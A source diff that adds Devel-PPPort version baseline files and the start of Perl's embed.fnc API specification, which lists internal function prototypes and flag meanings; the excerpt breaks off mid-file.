diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018000
new file mode 100644
index 00000000000..17729d0b741
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018000
@@ -0,0 +1,2 @@
+5.018000
+hv_rand_set # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018001
new file mode 100644
index 00000000000..5d4bb8f5003
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018001
@@ -0,0 +1 @@
+5.018001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018002
new file mode 100644
index 00000000000..17291bcf13a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018002
@@ -0,0 +1 @@
+5.018002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018003
new file mode 100644
index 00000000000..4d40f26283a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018003
@@ -0,0 +1 @@
+5.018003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018004
new file mode 100644
index 00000000000..f137cc2ad75
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5018004
@@ -0,0 +1 @@
+5.018004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019000
new file mode 100644
index 00000000000..a6e8e034939
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019000
@@ -0,0 +1 @@
+5.019000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019001
new file mode 100644
index 00000000000..803ad9abffb
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019001
@@ -0,0 +1,6 @@
+5.019001
+re_intuit_start # A
+toFOLD # U
+toFOLD_utf8 # U
+toLOWER_L1 # U
+toTITLE # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019002
new file mode 100644
index 00000000000..5af71fbeae6
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019002
@@ -0,0 +1,2 @@
+5.019002
+SVt_INVLIST # E
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019003
new file mode 100644
index 00000000000..488ef60b2f2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019003
@@ -0,0 +1,3 @@
+5.019003
+croak_memory_wrap # U (Perl_croak_memory_wrap)
+sv_pos_b2u_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019004
new file mode 100644
index 00000000000..1aa2023c9f7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019004
@@ -0,0 +1,4 @@
+5.019004
+append_utf8_from_native_byte # U
+is_safe_syscall # U
+uvoffuni_to_utf8_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019005
new file mode 100644
index 00000000000..69dcd69aefb
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019005
@@ -0,0 +1 @@
+5.019005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019006
new file mode 100644
index 00000000000..f14fb0c0c4b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019006
@@ -0,0 +1 @@
+5.019006
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019007
new file mode 100644
index 00000000000..c34055ea2af
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019007
@@ -0,0 +1,2 @@
+5.019007
+OP_TYPE_IS # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019008
new file mode 100644
index 00000000000..8fe2e2f1ded
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019008
@@ -0,0 +1 @@
+5.019008
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019009
new file mode 100644
index 00000000000..7706f723a00
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019009
@@ -0,0 +1,5 @@
+5.019009
+_to_utf8_fold_flags # A
+_to_utf8_lower_flags # A
+_to_utf8_title_flags # A
+_to_utf8_upper_flags # A
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019010
new file mode 100644
index 00000000000..8bdae66ddbe
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019010
@@ -0,0 +1,2 @@
+5.019010
+OP_TYPE_IS_OR_WAS # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019011 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019011
new file mode 100644
index 00000000000..2436c20fa66
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5019011
@@ -0,0 +1 @@
+5.019011
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020000
new file mode 100644
index 00000000000..0c909259446
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020000
@@ -0,0 +1 @@
+5.020000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020001
new file mode 100644
index 00000000000..1448fe7920c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020001
@@ -0,0 +1 @@
+5.020001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020002
new file mode 100644
index 00000000000..e31c0d0f492
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020002
@@ -0,0 +1 @@
+5.020002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020003
new file mode 100644
index 00000000000..89ec61981a0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5020003
@@ -0,0 +1 @@
+5.020003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021000
new file mode 100644
index 00000000000..b3138ab9c57
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021000
@@ -0,0 +1 @@
+5.021000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021001
new file mode 100644
index 00000000000..353fedabfc5
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021001
@@ -0,0 +1,13 @@
+5.021001
+_is_in_locale_category # U
+_is_utf8_char_slow # U
+_is_utf8_idcont # U
+_is_utf8_idstart # U
+_is_utf8_xidcont # U
+_is_utf8_xidstart # U
+isALNUM_lazy # U
+isIDFIRST_lazy # U
+isUTF8_CHAR # U
+markstack_grow # E (Perl_markstack_grow)
+my_strerror # U
+PERL_UNUSED_RESULT # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021002
new file mode 100644
index 00000000000..abe5ac12465
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021002
@@ -0,0 +1,3 @@
+5.021002
+grok_number_flags # U
+op_sibling_splice # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021004
new file mode 100644
index 00000000000..3a62526e13b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021004
@@ -0,0 +1,5 @@
+5.021004
+cv_set_call_checker_flags # U
+grok_infnan # U
+isinfnan # U
+sync_locale # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021005
new file mode 100644
index 00000000000..2a02ad28b68
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021005
@@ -0,0 +1,4 @@
+5.021005
+cv_name # A
+newMETHOP # U
+newMETHOP_named # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021006
new file mode 100644
index 00000000000..fbefd16d47b
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021006
@@ -0,0 +1,3 @@
+5.021006
+newDEFSVOP # U
+op_convert_list # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021007
new file mode 100644
index 00000000000..bcaa19ca5ff
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021007
@@ -0,0 +1,11 @@
+5.021007
+OpHAS_SIBLING # U
+OpSIBLING # U
+PadnameUTF8 # E
+is_invariant_string # U
+newPADNAMELIST # U
+newPADNAMEouter # U
+newPADNAMEpvn # U
+newUNOP_AUX # E
+padnamelist_fetch # U
+padnamelist_store # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021008
new file mode 100644
index 00000000000..ccba00cb34d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021008
@@ -0,0 +1,2 @@
+5.021008
+sv_get_backrefs # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021009
new file mode 100644
index 00000000000..7397722a252
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021009
@@ -0,0 +1 @@
+5.021009
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021010
new file mode 100644
index 00000000000..821a8fb6294
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021010
@@ -0,0 +1,2 @@
+5.021010
+DECLARATION_FOR_LC_NUMERIC_MANIPULATION # E
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021011 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021011
new file mode 100644
index 00000000000..6d0f3baa4f0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5021011
@@ -0,0 +1,4 @@
+5.021011
+OpLASTSIB_set # U
+OpMAYBESIB_set # U
+OpMORESIB_set # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5022000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5022000
new file mode 100644
index 00000000000..aca319e5cdd
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5022000
@@ -0,0 +1,2 @@
+5.022000
+UVCHR_SKIP # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5022001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5022001
new file mode 100644
index 00000000000..28befba2cdf
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5022001
@@ -0,0 +1 @@
+5.022001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023000
new file mode 100644
index 00000000000..e461a326691
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023000
@@ -0,0 +1 @@
+5.023000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023001
new file mode 100644
index 00000000000..ea44212d3c7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023001
@@ -0,0 +1 @@
+5.023001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023002
new file mode 100644
index 00000000000..2060466c2ad
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023002
@@ -0,0 +1 @@
+5.023002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023003
new file mode 100644
index 00000000000..4b19a2410ac
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023003
@@ -0,0 +1 @@
+5.023003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023004
new file mode 100644
index 00000000000..ce60a67e7aa
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023004
@@ -0,0 +1 @@
+5.023004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023005
new file mode 100644
index 00000000000..1b8818c372d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023005
@@ -0,0 +1 @@
+5.023005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023006
new file mode 100644
index 00000000000..f6c59949af8
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023006
@@ -0,0 +1 @@
+5.023006
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023007
new file mode 100644
index 00000000000..fb7c55335da
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023007
@@ -0,0 +1 @@
+5.023007
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023008
new file mode 100644
index 00000000000..ed2ef6d2eb0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023008
@@ -0,0 +1,22 @@
+5.023008
+clear_defarray # U
+cx_popblock # U
+cx_popeval # U
+cx_popformat # U
+cx_popgiven # U
+cx_poploop # U
+cx_popsub # U
+cx_popsub_args # U
+cx_popsub_common # U
+cx_popwhen # U
+cx_pushblock # U
+cx_pusheval # U
+cx_pushformat # U
+cx_pushgiven # U
+cx_pushloop_for # U
+cx_pushloop_plain # U
+cx_pushsub # U
+cx_pushwhen # U
+cx_topblock # U
+leave_adjust_stacks # U
+savetmps # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023009
new file mode 100644
index 00000000000..336b09a3eea
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5023009
@@ -0,0 +1,5 @@
+5.023009
+toFOLD_uvchr # U
+toLOWER_uvchr # U
+toTITLE_uvchr # U
+toUPPER_uvchr # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5024000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5024000
new file mode 100644
index 00000000000..32870f99cef
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5024000
@@ -0,0 +1,68 @@
+5.024000
+BhkDISABLE # E
+BhkENABLE # E
+BhkENTRY_set # E
+MULTICALL # E
+PERL_SYS_TERM # E
+POP_MULTICALL # E
+PUSH_MULTICALL # E
+PadARRAY # E
+PadMAX # E
+PadlistARRAY # E
+PadlistMAX # E
+PadlistNAMES # E
+PadlistNAMESARRAY # E
+PadlistNAMESMAX # E
+PadnameLEN # E
+PadnamePV # E
+PadnameREFCNT # E
+PadnameREFCNT_dec # E
+PadnameSV # E
+PadnamelistARRAY # E
+PadnamelistMAX # E
+PadnamelistREFCNT # E
+PadnamelistREFCNT_dec # E
+RESTORE_LC_NUMERIC # E
+STORE_LC_NUMERIC_FORCE_TO_UNDERLYING # E
+STORE_LC_NUMERIC_SET_TO_NEEDED # E
+XS_APIVERSION_BOOTCHECK # E
+XS_EXTERNAL # E
+XS_INTERNAL # E
+XS_VERSION_BOOTCHECK # E
+XopDISABLE # E
+XopENABLE # E
+XopENTRY # E
+XopENTRYCUSTOM # E
+XopENTRY_set # E
+cophh_new_empty # E
+my_lstat # U (Perl_my_lstat)
+my_stat # U (Perl_my_stat)
+reentrant_free # U
+reentrant_init # U
+reentrant_retry # U
+reentrant_size # U
+ref # U (Perl_ref)
+sv_magic_portable # U
+sv_setref_pvs # A
+PERL_BCDVERSION # added by devel/scanprov
+PERL_MAGIC_glob # added by devel/scanprov
+PERL_MAGIC_mutex # added by devel/scanprov
+PERL_MAGIC_overload # added by devel/scanprov
+PERL_MAGIC_overload_elem # added by devel/scanprov
+PL_bufend # added by devel/scanprov
+PL_bufptr # added by devel/scanprov
+PL_copline # added by devel/scanprov
+PL_error_count # added by devel/scanprov
+PL_expect # added by devel/scanprov
+PL_in_my # added by devel/scanprov
+PL_in_my_stash # added by devel/scanprov
+PL_lex_state # added by devel/scanprov
+PL_lex_stuff # added by devel/scanprov
+PL_linestr # added by devel/scanprov
+PL_rsfp # added by devel/scanprov
+PL_rsfp_filters # added by devel/scanprov
+PL_tokenbuf # added by devel/scanprov
+WARN_ASSERTIONS # added by devel/scanprov
+aTHXR # added by devel/scanprov
+aTHXR_ # added by devel/scanprov
+dTHXR # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/embed.fnc b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/embed.fnc
new file mode 100644
index 00000000000..1f347c2b834
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/embed.fnc
@@ -0,0 +1,2956 @@
+: BEGIN{die "You meant to run regen/embed.pl"} # Stop early if fed to perl.
+:
+: This file is processed by regen/embed.pl and autodoc.pl
+:
+: Lines are of the form:
+: flags|return_type|function_name|arg1|arg2|...|argN
+:
+: A line may be continued on another by ending it with a backslash.
+: Leading and trailing whitespace will be ignored in each component.
+:
+: flags are single letters with following meanings:
+:
+: A Available fully everywhere (usually part of the public API):
+:
+: add entry to the list of exported symbols (unless x or m);
+: any doc entry goes in perlapi.pod rather than perlintern.pod. If no
+: documentation is furnished for this function, and M is also
+: specified, the function is not listed as part of the public API.
+: If M isn't specified, and no documentation is furnished, the
+: function is listed in perlapi as existing and being undocumented
+: makes '#define foo Perl_foo' scope not just for PERL_CORE/PERL_EXT
+:
+: If the function is only exported for use in a public
+: macro, see X.
+:
+: a Allocates memory a la malloc/calloc. Also implies "R":
+:
+: proto.h: add __attribute__malloc__
+:
+: b Binary backward compatibility; has an exported Perl_ implementation
+: but function is also normally a macro (i.e. has the "m" flag as well).
+: Backcompat functions ("b") can be anywhere, but if they are also
+: macros ("m") then they have no proto.h entries so must either be in
+: mathoms.c to get marked EXTERN_C (and skipped for -DNO_MATHOMS builds)
+: or else will require special attention to ensure they are marked
+: EXTERN_C (and then won't be automatically skipped for -DNO_MATHOMS
+: builds).
+:
+: add entry to the list of exported symbols;
+: don't define PERL_ARGS_ASSERT_FOO
+:
+: D Function is deprecated:
+:
+: proto.h: add __attribute__deprecated__
+:
+: d Function has documentation (somewhere) in the source:
+:
+: enables 'no docs for foo" warning in autodoc.pl
+:
+: E Visible to extensions included in the Perl core:
+:
+: in embed.h, change "#ifdef PERL_CORE"
+: into "#if defined(PERL_CORE) || defined(PERL_EXT)"
+:
+: To be usable from dynamically loaded extensions, either:
+: 1) must be static to its containing file ("i" or "s" flag); or
+: 2) be combined with the "X" flag.
+:
+: f Function takes a format string. If the function name /strftime/
+: then its assumed to take a strftime-style format string as 1st arg;
+: otherwise it's assumed to be a printf style format string, varargs
+: (hence any entry that would otherwise go in embed.h is suppressed):
+:
+: proto.h: add __attribute__format__ (or ...null_ok__)
+:
+: i Static inline: function in source code has a S_ prefix:
+:
+: proto.h: function is declared as S_foo rather than foo,
+: PERL_STATIC_INLINE is added to declaration;
+: embed.h: "#define foo S_foo" entries added
+:
+: M May change:
+:
+: any doc entry is marked that function may change. Also used to
+: suppress making a doc entry if it would just be a placeholder.
+:
+: m Implemented as a macro:
+:
+: suppress proto.h entry (actually, not suppressed, but commented out)
+: suppress entry in the list of exported symbols
+: suppress embed.h entry
+:
+: n Has no implicit interpreter/thread context argument:
+:
+: suppress the pTHX part of "foo(pTHX...)" in proto.h;
+: In the PERL_IMPLICIT_SYS branch of embed.h, generates
+: "#define foo Perl_foo", rather than
+: "#define foo(a,b,c) Perl_foo(aTHX_ a,b,c)
+:
+: O Has a perl_ compatibility macro.
+:
+: The really OLD name for API funcs
+:
+: o Has no Perl_foo or S_foo compatibility macro:
+:
+: embed.h: suppress "#define foo Perl_foo"
+:
+: P Pure function: no effects except the return value;
+: return value depends only on params and/or globals:
+:
+: proto.h: add __attribute__pure__
+:
+: p Function in source code has a Perl_ prefix:
+:
+: proto.h: function is declared as Perl_foo rather than foo
+: embed.h: "#define foo Perl_foo" entries added
+:
+: R Return value must not be ignored (also implied by 'a' flag):
+:
+: proto.h: add __attribute__warn_unused_result__
+:
+: r Function never returns:
+:
+: proto.h: add __attribute__noreturn__
+:
+: s Static function: function in source code has a S_ prefix:
+:
+: proto.h: function is declared as S_foo rather than foo,
+: STATIC is added to declaration;
+: embed.h: "#define foo S_foo" entries added
+:
+: U Suppress usage example in autogenerated documentation
+:
+: (currently no effect)
+:
+: X Explicitly exported:
+:
+: add entry to the list of exported symbols, unless x or m
+:
+: This is often used for private functions that are used by public
+: macros. In those cases the macros must use the long form of the
+: name (Perl_blah(aTHX_ ...)).
+:
+: x Not exported
+:
+: suppress entry in the list of exported symbols
+:
+: (see also L<perlguts/Internal Functions> for those flags.)
+:
+: Pointer parameters that must not be passed NULLs should be prefixed with NN.
+:
+: Pointer parameters that may be NULL should be prefixed with NULLOK. This has
+: no effect on output yet. It's a notation for the maintainers to know "I have
+: defined whether NULL is OK or not" rather than having neither NULL or NULLOK,
+: which is ambiguous.
+:
+: Individual flags may be separated by whitespace.
+
+#if defined(PERL_IMPLICIT_SYS)
+Ano |PerlInterpreter*|perl_alloc_using \
+ |NN struct IPerlMem *ipM \
+ |NN struct IPerlMem *ipMS \
+ |NN struct IPerlMem *ipMP \
+ |NN struct IPerlEnv *ipE \
+ |NN struct IPerlStdIO *ipStd \
+ |NN struct IPerlLIO *ipLIO \
+ |NN struct IPerlDir *ipD \
+ |NN struct IPerlSock *ipS \
+ |NN struct IPerlProc *ipP
+#endif
+Anod |PerlInterpreter* |perl_alloc
+Anod |void |perl_construct |NN PerlInterpreter *my_perl
+Anod |int |perl_destruct |NN PerlInterpreter *my_perl
+Anod |void |perl_free |NN PerlInterpreter *my_perl
+Anod |int |perl_run |NN PerlInterpreter *my_perl
+Anod |int |perl_parse |NN PerlInterpreter *my_perl|XSINIT_t xsinit \
+ |int argc|NULLOK char** argv|NULLOK char** env
+AnpR |bool |doing_taint |int argc|NULLOK char** argv|NULLOK char** env
+#if defined(USE_ITHREADS)
+Anod |PerlInterpreter*|perl_clone|NN PerlInterpreter *proto_perl|UV flags
+# if defined(PERL_IMPLICIT_SYS)
+Ano |PerlInterpreter*|perl_clone_using \
+ |NN PerlInterpreter *proto_perl \
+ |UV flags \
+ |NN struct IPerlMem* ipM \
+ |NN struct IPerlMem* ipMS \
+ |NN struct IPerlMem* ipMP \
+ |NN struct IPerlEnv* ipE \
+ |NN struct IPerlStdIO* ipStd \
+ |NN struct IPerlLIO* ipLIO \
+ |NN struct IPerlDir* ipD \
+ |NN struct IPerlSock* ipS \
+ |NN struct IPerlProc* ipP
+# endif
+#endif
+
+Aanop |Malloc_t|malloc |MEM_SIZE nbytes
+Aanop |Malloc_t|calloc |MEM_SIZE elements|MEM_SIZE size
+Aanop |Malloc_t|realloc |Malloc_t where|MEM_SIZE nbytes
+Anop |Free_t |mfree |Malloc_t where
+#if defined(MYMALLOC)
+npR |MEM_SIZE|malloced_size |NN void *p
+npR |MEM_SIZE|malloc_good_size |size_t nbytes
+#endif
+#if defined(PERL_IN_MALLOC_C)
+sn |int |adjust_size_and_find_bucket |NN size_t *nbytes_p
+#endif
+
+AnpR |void* |get_context
+Anp |void |set_context |NN void *t
+
+XEop |bool |try_amagic_bin |int method|int flags
+XEop |bool |try_amagic_un |int method|int flags
+Ap |SV* |amagic_call |NN SV* left|NN SV* right|int method|int dir
+Ap |SV * |amagic_deref_call|NN SV *ref|int method
+p |bool |amagic_is_enabled|int method
+Ap |int |Gv_AMupdate |NN HV* stash|bool destructing
+ApR |CV* |gv_handler |NULLOK HV* stash|I32 id
+Apd |OP* |op_append_elem |I32 optype|NULLOK OP* first|NULLOK OP* last
+Apd |OP* |op_append_list |I32 optype|NULLOK OP* first|NULLOK OP* last
+Apd |OP* |op_linklist |NN OP *o
+Apd |OP* |op_prepend_elem|I32 optype|NULLOK OP* first|NULLOK OP* last
+: FIXME - this is only called by pp_chown. They should be merged.
+p |I32 |apply |I32 type|NN SV** mark|NN SV** sp
+ApM |void |apply_attrs_string|NN const char *stashpv|NN CV *cv|NN const char *attrstr|STRLEN len
+Apd |void |av_clear |NN AV *av
+Apd |SV* |av_delete |NN AV *av|SSize_t key|I32 flags
+ApdR |bool |av_exists |NN AV *av|SSize_t key
+Apd |void |av_extend |NN AV *av|SSize_t key
+p |void |av_extend_guts |NULLOK AV *av|SSize_t key \
+ |NN SSize_t *maxp \
+ |NN SV ***allocp|NN SV ***arrayp
+ApdR |SV** |av_fetch |NN AV *av|SSize_t key|I32 lval
+Apd |void |av_fill |NN AV *av|SSize_t fill
+ApdR |SSize_t|av_len |NN AV *av
+ApdR |AV* |av_make |SSize_t size|NN SV **strp
+Apd |SV* |av_pop |NN AV *av
+ApdoxM |void |av_create_and_push|NN AV **const avp|NN SV *const val
+Apd |void |av_push |NN AV *av|NN SV *val
+: Used in scope.c, and by Data::Alias
+EXp |void |av_reify |NN AV *av
+ApdR |SV* |av_shift |NN AV *av
+Apd |SV** |av_store |NN AV *av|SSize_t key|NULLOK SV *val
+#ifndef PERL_NO_INLINE_FUNCTIONS
+AidR |SSize_t|av_top_index |NN AV *av
+#endif
+AmpdR |SSize_t|av_tindex |NN AV *av
+Apd |void |av_undef |NN AV *av
+ApdoxM |SV** |av_create_and_unshift_one|NN AV **const avp|NN SV *const val
+Apd |void |av_unshift |NN AV *av|SSize_t num
+Apo |SV** |av_arylen_p |NN AV *av
+Apo |IV* |av_iter_p |NN AV *av
+#if defined(PERL_IN_AV_C)
+s |MAGIC* |get_aux_mg |NN AV *av
+#endif
+: Used in perly.y
+pR |OP* |bind_match |I32 type|NN OP *left|NN OP *right
+: Used in perly.y
+ApdR |OP* |block_end |I32 floor|NULLOK OP* seq
+ApR |U8 |block_gimme
+: Used in perly.y
+ApdR |int |block_start |int full
+Aodp |void |blockhook_register |NN BHK *hk
+: Used in perl.c
+p |void |boot_core_UNIVERSAL
+: Used in perl.c
+p |void |boot_core_PerlIO
+Ap |void |call_list |I32 oldscope|NN AV *paramList
+Apd |const PERL_CONTEXT * |caller_cx|I32 level \
+ |NULLOK const PERL_CONTEXT **dbcxp
+: Used in several source files
+pR |bool |cando |Mode_t mode|bool effective|NN const Stat_t* statbufp
+ApRn |U32 |cast_ulong |NV f
+ApRn |I32 |cast_i32 |NV f
+ApRn |IV |cast_iv |NV f
+ApRn |UV |cast_uv |NV f
+#if !defined(HAS_TRUNCATE) && !defined(HAS_CHSIZE) && defined(F_FREESP)
+ApR |I32 |my_chsize |int fd|Off_t length
+#endif
+p |const COP*|closest_cop |NN const COP *cop|NULLOK const OP *o \
+ |NULLOK const OP *curop|bool opnext
+: Used in perly.y
+ApdR |OP* |op_convert_list |I32 optype|I32 flags|NULLOK OP* o
+: Used in op.c and perl.c
+pM |void |create_eval_scope|NULLOK OP *retop|U32 flags
+Aprd |void |croak_sv |NN SV *baseex
